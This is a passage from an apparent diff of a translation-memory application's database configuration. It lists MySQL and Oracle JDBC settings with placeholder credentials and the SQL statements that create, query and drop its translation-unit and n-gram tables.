CONTENT FROM TU_PROP WHERE PROPTYPE='jobdate' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobowner' ORDER BY 1 + SELECT LANG FROM TUV WHERE TUID=? + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM TUV L LEFT JOIN TUV R ON L.TUID=R.TUID AND R.LANG=? WHERE L.LANG=? AND LOCATE(L.PURETEXT,?) AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT='HS-Flag' + SELECT * FROM TUV WHERE TUID IN (?) + SELECT CONTENT FROM TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TUV WHERE TUID IN (?) + DELETE FROM TU WHERE TUID IN (?) + DELETE FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TU_NOTE WHERE TUID IN (?) + DELETE FROM MATRIX___LANG__ WHERE TUID IN (?) + + + + + + + com.mysql.jdbc.Driver + jdbc:mysql://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + __USER__ + __PASSWORD__ + true + UTF-8 + + CREATE DATABASE __DATABASE_NAME__ CHARACTER SET utf8 + + CREATE TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + CREATE DATABASE __DATABASE_NAME__ CHARACTER SET utf8 + + CREATE TABLE TU ( + TUID VARCHAR(30) NOT NULL, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + PRIMARY KEY (TUID) + ); + CREATE TABLE TUV ( + TUID VARCHAR(30) NOT NULL, + LANG VARCHAR(6) NOT NULL, + SEG TEXT NOT NULL, + PURETEXT TEXT, + CLIENTID TEXT, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + HASH INTEGER NOT NULL, + TUVTEXT TEXT NOT NULL, + PREVIOUSHASH TEXT, + NEXTHASH TEXT, + PROJECTREF VARCHAR(256), + JOBREF VARCHAR(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES TU(TUID), + INDEX I_TUV_LANG (LANG), + INDEX I_TUV_HASH (HASH), + INDEX I_TUV_CHANGEDATE(CHANGEDATE) + ); + CREATE TABLE TU_NOTE ( + TUID VARCHAR(30) NOT NULL, + NOTEID VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (tuid, NOTEID) + ); + CREATE TABLE TU_PROP ( + TUID VARCHAR(30) NOT NULL, + PROPTYPE VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (TUID, PROPTYPE) + ); + CREATE TABLE LANGS ( + LANG VARCHAR(6) NOT NULL, + INDEX I_LANGS_LANG (LANG) + ); + + + DROP TABLE TU_PROP + DROP TABLE TU_NOTE + DROP TABLE TUV + DROP TABLE TU + DROP TABLE LANGS + + SELECT LANG FROM LANGS + CREATE TABLE MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY (TUID,NGRAM), + INDEX I_MATRIX_SEGSIZE (SEGSIZE) + ); + DROP TABLE MATRIX___LANG__ + INSERT INTO LANGS (LANG) VALUES (?); + DROP DATABASE __DATABASE_NAME__ + INSERT INTO MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES + (?,?,?); + SELECT TUID FROM MATRIX___LANG__ WHERE NGRAM IN + (__SET__) AND SEGSIZE >=? AND SEGSIZE<=? + SELECT TUID FROM TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID,NGRAM FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, + CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM + TUV IGNORE INDEX(I_TUV_LANG) WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM TUV IGNORE INDEX(I_TUV_LANG) WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV IGNORE INDEX(I_TUV_LANG) WHERE HASH=? AND LANG=? AND PREVIOUSHASH=? AND NEXTHASH=? + DELETE FROM MATRIX___LANG__ WHERE TUID=? + INSERT INTO TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION) VALUES (?,?,?,?,?,?,?); + UPDATE TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION FROM TU WHERE TUID=? + INSERT INTO TUV (TUID, LANG, SEG, PURETEXT, CLIENTID, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, HASH, + TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM TUV WHERE TUID=? AND LANG=? + DELETE FROM TU WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT=? + DELETE FROM TU_NOTE WHERE TUID=? + INSERT INTO TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU + SELECT LANG, SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? + SELECT CONTENT FROM TU_NOTE WHERE TUID=? + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID=? + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND ? REGEXP ? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE ? REGEXP ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ?,? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE ? REGEXP ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ?,? + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND (__CONDITION__) + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ LIMIT ?,? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ LIMIT ?,? + SELECT LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM TUV WHERE TUID=? AND LANG IN (?,?) + SELECT LANG, SEG, PURETEXT FROM TUV WHERE TUID=? AND LANG IN (?,?) + SELECT DISTINCT LANG FROM TUV + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='projectref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobdate' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobowner' ORDER BY 1 + SELECT LANG FROM TUV WHERE TUID=? + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM TUV L LEFT JOIN TUV R ON L.TUID=R.TUID AND R.LANG=? WHERE L.LANG=? AND LOCATE(L.PURETEXT,?) AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT='HS-Flag' + SELECT * FROM TUV WHERE TUID IN (?) + SELECT CONTENT FROM TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TUV WHERE TUID IN (?) + DELETE FROM TU WHERE TUID IN (?) + DELETE FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TU_NOTE WHERE TUID IN (?) + DELETE FROM MATRIX___LANG__ WHERE TUID IN (?) + + + + + + com.mysql.jdbc.Driver + jdbc:mysql://__SERVER_NAME__:__PORT_NUMBER__/__DATABASE_NAME__ + + __USER__ + __PASSWORD__ + true + UTF-8 + + CREATE DATABASE __DATABASE_NAME__ CHARACTER SET utf8 + + CREATE TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + CREATE DATABASE __DATABASE_NAME__ CHARACTER SET utf8 + + CREATE TABLE TU ( + TUID VARCHAR(30) NOT NULL, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + PRIMARY KEY (TUID) + ); + CREATE TABLE TUV ( + TUID VARCHAR(30) NOT NULL, + LANG VARCHAR(6) NOT NULL, + SEG TEXT NOT NULL, + PURETEXT TEXT, + CLIENTID TEXT, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + HASH INTEGER NOT NULL, + TUVTEXT TEXT NOT NULL, + PREVIOUSHASH TEXT, + NEXTHASH TEXT, + PROJECTREF VARCHAR(256), + JOBREF VARCHAR(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES TU(TUID), + INDEX I_TUV_LANG (LANG), + INDEX I_TUV_HASH (HASH), + INDEX I_TUV_CHANGEDATE(CHANGEDATE) + ); + CREATE TABLE TU_NOTE ( + TUID VARCHAR(30) NOT NULL, + NOTEID VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (tuid, NOTEID) + ); + CREATE TABLE TU_PROP ( + TUID VARCHAR(30) NOT NULL, + PROPTYPE VARCHAR(30) NOT NULL, + CONTENT TEXT, + PRIMARY KEY (TUID, PROPTYPE) + ); + CREATE TABLE LANGS ( + LANG VARCHAR(6) NOT NULL, + INDEX I_LANGS_LANG (LANG) + ); + + + DROP TABLE TU_PROP + DROP TABLE TU_NOTE + DROP TABLE TUV + DROP TABLE TU + DROP TABLE LANGS + + SELECT LANG FROM LANGS + CREATE TABLE MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY (TUID,NGRAM), + INDEX I_MATRIX_SEGSIZE (SEGSIZE) + ); + DROP TABLE MATRIX___LANG__ + INSERT INTO LANGS (LANG) VALUES (?); + DROP DATABASE __DATABASE_NAME__ + INSERT INTO MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES + (?,?,?); + SELECT TUID FROM MATRIX___LANG__ WHERE NGRAM IN + (__SET__) AND SEGSIZE >=? AND SEGSIZE<=? + SELECT TUID FROM TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID,NGRAM FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, + CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM + TUV IGNORE INDEX(I_TUV_LANG) WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM TUV IGNORE INDEX(I_TUV_LANG) WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV IGNORE INDEX(I_TUV_LANG) WHERE HASH=? AND LANG=? AND PREVIOUSHASH=? AND NEXTHASH=? + DELETE FROM MATRIX___LANG__ WHERE TUID=? + INSERT INTO TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION) VALUES (?,?,?,?,?,?,?); + UPDATE TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION FROM TU WHERE TUID=? + INSERT INTO TUV (TUID, LANG, SEG, PURETEXT, CLIENTID, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, HASH, + TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM TUV WHERE TUID=? AND LANG=? + DELETE FROM TU WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT=? + DELETE FROM TU_NOTE WHERE TUID=? + INSERT INTO TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU + SELECT LANG, SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? + SELECT CONTENT FROM TU_NOTE WHERE TUID=? + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID=? + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND ? REGEXP ? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE ? REGEXP ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ?,? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE ? REGEXP ? AND A.LANG=? ORDER BY __ORDERBY__ LIMIT ?,? + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND (__CONDITION__) + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ LIMIT ?,? + SELECT A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ LIMIT ?,? + SELECT LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM TUV WHERE TUID=? AND LANG IN (?,?) + SELECT LANG, SEG, PURETEXT FROM TUV WHERE TUID=? AND LANG IN (?,?) + SELECT DISTINCT LANG FROM TUV + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='projectref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobdate' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobowner' ORDER BY 1 + SELECT LANG FROM TUV WHERE TUID=? + SELECT L.TUID,L.PURETEXT,R.PURETEXT FROM TUV L LEFT JOIN TUV R ON L.TUID=R.TUID AND R.LANG=? WHERE L.LANG=? AND LOCATE(L.PURETEXT,?) AND R.PURETEXT IS NOT NULL + SELECT COUNT(*) FROM TU_PROP WHERE TUID=? AND PROPTYPE='x-flag' AND CONTENT='HS-Flag' + SELECT * FROM TUV WHERE TUID IN (?) + SELECT CONTENT FROM TU_NOTE WHERE TUID IN (?) + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TUV WHERE TUID IN (?) + DELETE FROM TU WHERE TUID IN (?) + DELETE FROM TU_PROP WHERE TUID IN (?) + DELETE FROM TU_NOTE WHERE TUID IN (?) + DELETE FROM MATRIX___LANG__ WHERE TUID IN (?) + + + + + + oracle.jdbc.driver.OracleDriver + jdbc:oracle:thin:@//__SERVER_NAME__:__PORT_NUMBER__/__INSTANCE__ + + __USER__ + __PASSWORD__ + + + + CREATE TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES + (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + + + CREATE TABLE __DATABASE_NAME___TU ( + TUID VARCHAR2(30) NOT NULL, + CREATIONID VARCHAR2(30), + CREATIONDATE DATE, + CHANGEID VARCHAR2(30), + CHANGEDATE DATE, + CREATIONTOOL VARCHAR2(200), + CREATIONTOOLVERSION VARCHAR2(200), + PRIMARY KEY (TUID) + ) + CREATE TABLE __DATABASE_NAME___TUV ( + TUID VARCHAR2(30) NOT NULL, + LANG VARCHAR2(6) NOT NULL, + SEG NCLOB NOT NULL, + PURETEXT NCLOB NOT NULL, + CLIENTID NCLOB, + CREATIONID VARCHAR2(30), + CREATIONDATE DATE, + CHANGEID VARCHAR2(30), + CHANGEDATE DATE, + CREATIONTOOL VARCHAR2(200), + CREATIONTOOLVERSION VARCHAR2(200), + HASH INTEGER NOT NULL, + TUVTEXT NCLOB, + PREVIOUSHASH NCLOB, + NEXTHASH NCLOB, + PROJECTREF VARCHAR2(256), + JOBREF VARCHAR2(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES __DATABASE_NAME___TU + ) + CREATE INDEX I__DATABASE_NAME__TUVH ON __DATABASE_NAME___TUV(HASH) + CREATE TABLE __DATABASE_NAME___TU_NOTE ( + TUID VARCHAR2(30) NOT NULL, + NOTEID VARCHAR2(30) NOT NULL, + CONTENT NCLOB, + PRIMARY KEY (TUID, NOTEID) + ) + CREATE TABLE __DATABASE_NAME___TU_PROP ( + TUID VARCHAR2(30) NOT NULL, + PROPTYPE VARCHAR2(30) NOT NULL, + CONTENT NCLOB, + PRIMARY KEY (TUID, PROPTYPE) + ) + CREATE TABLE __DATABASE_NAME___LANGS ( + LANG VARCHAR(6) NOT NULL, + PRIMARY KEY (LANG) + ) + + + + DROP TABLE __DATABASE_NAME___TU_PROP + DROP TABLE __DATABASE_NAME___TU_NOTE + DROP TABLE __DATABASE_NAME___TUV + DROP TABLE __DATABASE_NAME___TU + DROP TABLE __DATABASE_NAME___LANGS + + SELECT LANG FROM __DATABASE_NAME___LANGS + CREATE TABLE __DATABASE_NAME___MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY(TUID,NGRAM) + ) + + CREATE INDEX I__DATABASE_NAME__M__LANG__SS ON __DATABASE_NAME___MATRIX___LANG__(SEGSIZE) + + DROP TABLE __DATABASE_NAME___MATRIX___LANG__ + INSERT INTO __DATABASE_NAME___LANGS (LANG) VALUES (?) + INSERT INTO __DATABASE_NAME___MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES (?,?,?) + SELECT TUID FROM __DATABASE_NAME___TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID FROM __DATABASE_NAME___MATRIX___LANG__ WHERE NGRAM IN (__SET__) AND SEGSIZE >=? AND SEGSIZE<=? + SELECT TUID,NGRAM FROM __DATABASE_NAME___MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM __DATABASE_NAME___TUV WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM __DATABASE_NAME___TUV WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? AND PREVIOUSHASH LIKE ? AND NEXTHASH LIKE ? + DELETE FROM __DATABASE_NAME___MATRIX___LANG__ WHERE TUID=? + INSERT INTO __DATABASE_NAME___TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION) VALUES + (?,?,?,?,?,?,?) + UPDATE __DATABASE_NAME___TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, + CREATIONTOOL, CREATIONTOOLVERSION FROM __DATABASE_NAME___TU WHERE + TUID=? + INSERT INTO __DATABASE_NAME___TUV (TUID, LANG, SEG, + PURETEXT, CLIENTID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, + CREATIONTOOLVERSION, HASH, TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES + (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM __DATABASE_NAME___TUV WHERE TUID=? AND LANG=? + DELETE FROM __DATABASE_NAME___TU WHERE TUID=? + DELETE FROM __DATABASE_NAME___TU_PROP WHERE TUID=? + DELETE FROM __DATABASE_NAME___TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT LIKE ? + DELETE FROM __DATABASE_NAME___TU_NOTE WHERE TUID=? + INSERT INTO __DATABASE_NAME___TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO __DATABASE_NAME___TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM __DATABASE_NAME___TU + SELECT LANG, SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM __DATABASE_NAME___TUV WHERE TUID=? + SELECT CONTENT FROM __DATABASE_NAME___TU_NOTE WHERE TUID=? + SELECT PROPTYPE, CONTENT FROM __DATABASE_NAME___TU_PROP WHERE TUID=? + SELECT COUNT(TUID) FROM __DATABASE_NAME___TUV A WHERE LANG=? AND REGEXP_LIKE (?, ?) + SELECT * FROM (SELECT 